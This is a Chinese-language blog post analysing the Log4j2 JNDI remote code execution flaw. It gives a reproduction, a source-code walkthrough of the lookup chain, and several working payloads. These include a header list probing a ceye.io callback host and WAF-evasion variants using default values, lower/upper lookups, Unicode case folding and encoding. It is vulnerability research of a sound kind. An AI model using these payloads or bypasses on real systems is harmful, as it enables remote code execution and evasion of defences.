Log4j2远程代码执行
发表于:2025-07-22 | 分类: Java

Log4j2远程代码执行

前言

Log4j感觉还是比较好利用的,在shagou大佬的面试中,给出一个log4j漏洞绕过payload,要求分析研判,虽说能一眼看出时log4j的利用,但是也是头一次见了。

环境配置

  • JDK8u65
  • Log4j 2.14.1
  • CC3.2.1

在8u191后,Log4j还是可以利用的,但是要用高版本的绕过手段

依赖导入如下:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

漏洞详情

漏洞成因

原因是Log4j提供了Lookups的能力(关于Lookups可以点这里去看官方文档的介绍),简单来说就是变量替换的能力。

在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${},如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor这个类去处理,根据前缀调用不同的解析器,其中JNDI解析器就为本次漏洞源头。

探测payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

影响版本

  • 2.x <= log4j <= 2.15.0-rc1

漏洞复现与分析

漏洞复现

首先使用yakit工具(可以自己起RMI服务,我这里直接使用工具)生成一个jndi反连地址

执行以下代码,生成该类的logger类,调用logger的error方法,payload放入,即可实现JNDI

1
2
3
4
5
6
7
8
9
public class log4jTest {

private static final Logger LOGGER = LogManager.getLogger(log4jTest.class);

public static void main(String[] args) {
String s = "${jndi:ldap://127.0.0.1:8085/RQqSMKMk}";
LOGGER.error("{}",s);
}
}

成功弹出计算器

漏洞分析

我们看logger.error()(这里error可以换成其他方法,例如info)方法,会调用到loggerConfig#processLogEvent

1
2
3
4
5
6
7
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}

之后AbstractOutputStreamAppender#tryAppend会encode对应事件,将${param}中的param解析出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}

protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}

最后调用到StrSubstitutor#resolveVariable,将对应参数解析出结果

1
2
3
4
5
6
7
8
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}

resolver会根据前缀的不同,调用不同类的lookup方法

当jndi为前缀时,会调用Interpolator#lookup,其中value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);这行代码会调用JndiLookup的lookup方法,从而造成JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}

WAF绕过

在很多WAF的检测中,是基于关键字jndi:等关键词的判断进行拦截的

解析特性

log4j在解析时会有以下特性,可以很好的帮我们绕过WAF

  • 如果在参数未定义的情况下,:-后面的值就是默认值

  • 引用环境变量,例如${env:PATH}
  • 通过upperlower进行大小写变换

绕过方式

利用${}默认值绕过

例如以下这个payload,并不会检测到关键字jndi:,首先会解析${::-J},这部分会被解析为J,与后面拼接为${Jndi:ldap://127.0.0.1:1389/Calc},从而绕过WAF

1
${${::-J}ndi:ldap://127.0.0.1:1389/Calc}

通过lower和upper绕过

之前看源码可以知道,${}中支持解析的头部有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中有lowerupper

通过lower和upper绕过其实和利用默认值绕过是一样的

1
2
3
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....

除此之外,可以使用特殊字符的大小写转化进行绕过(之前打CTF的中就有这种利用方式)

1
2
3
4
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)

因此可以使用特殊字符,经过大小写变换后,绕过WAF

1
2
logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
...

编码绕过

这个漏洞的触发点可能在任何部分,在有些传输的地方,后端可能会有一些`unicode`和`hex`解码的特性,因此可以通过编码绕过
1
2
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}
上一篇:
XStream反序列化
下一篇:
CVE-2017-10271 WebLogic XMLDecoder反序列化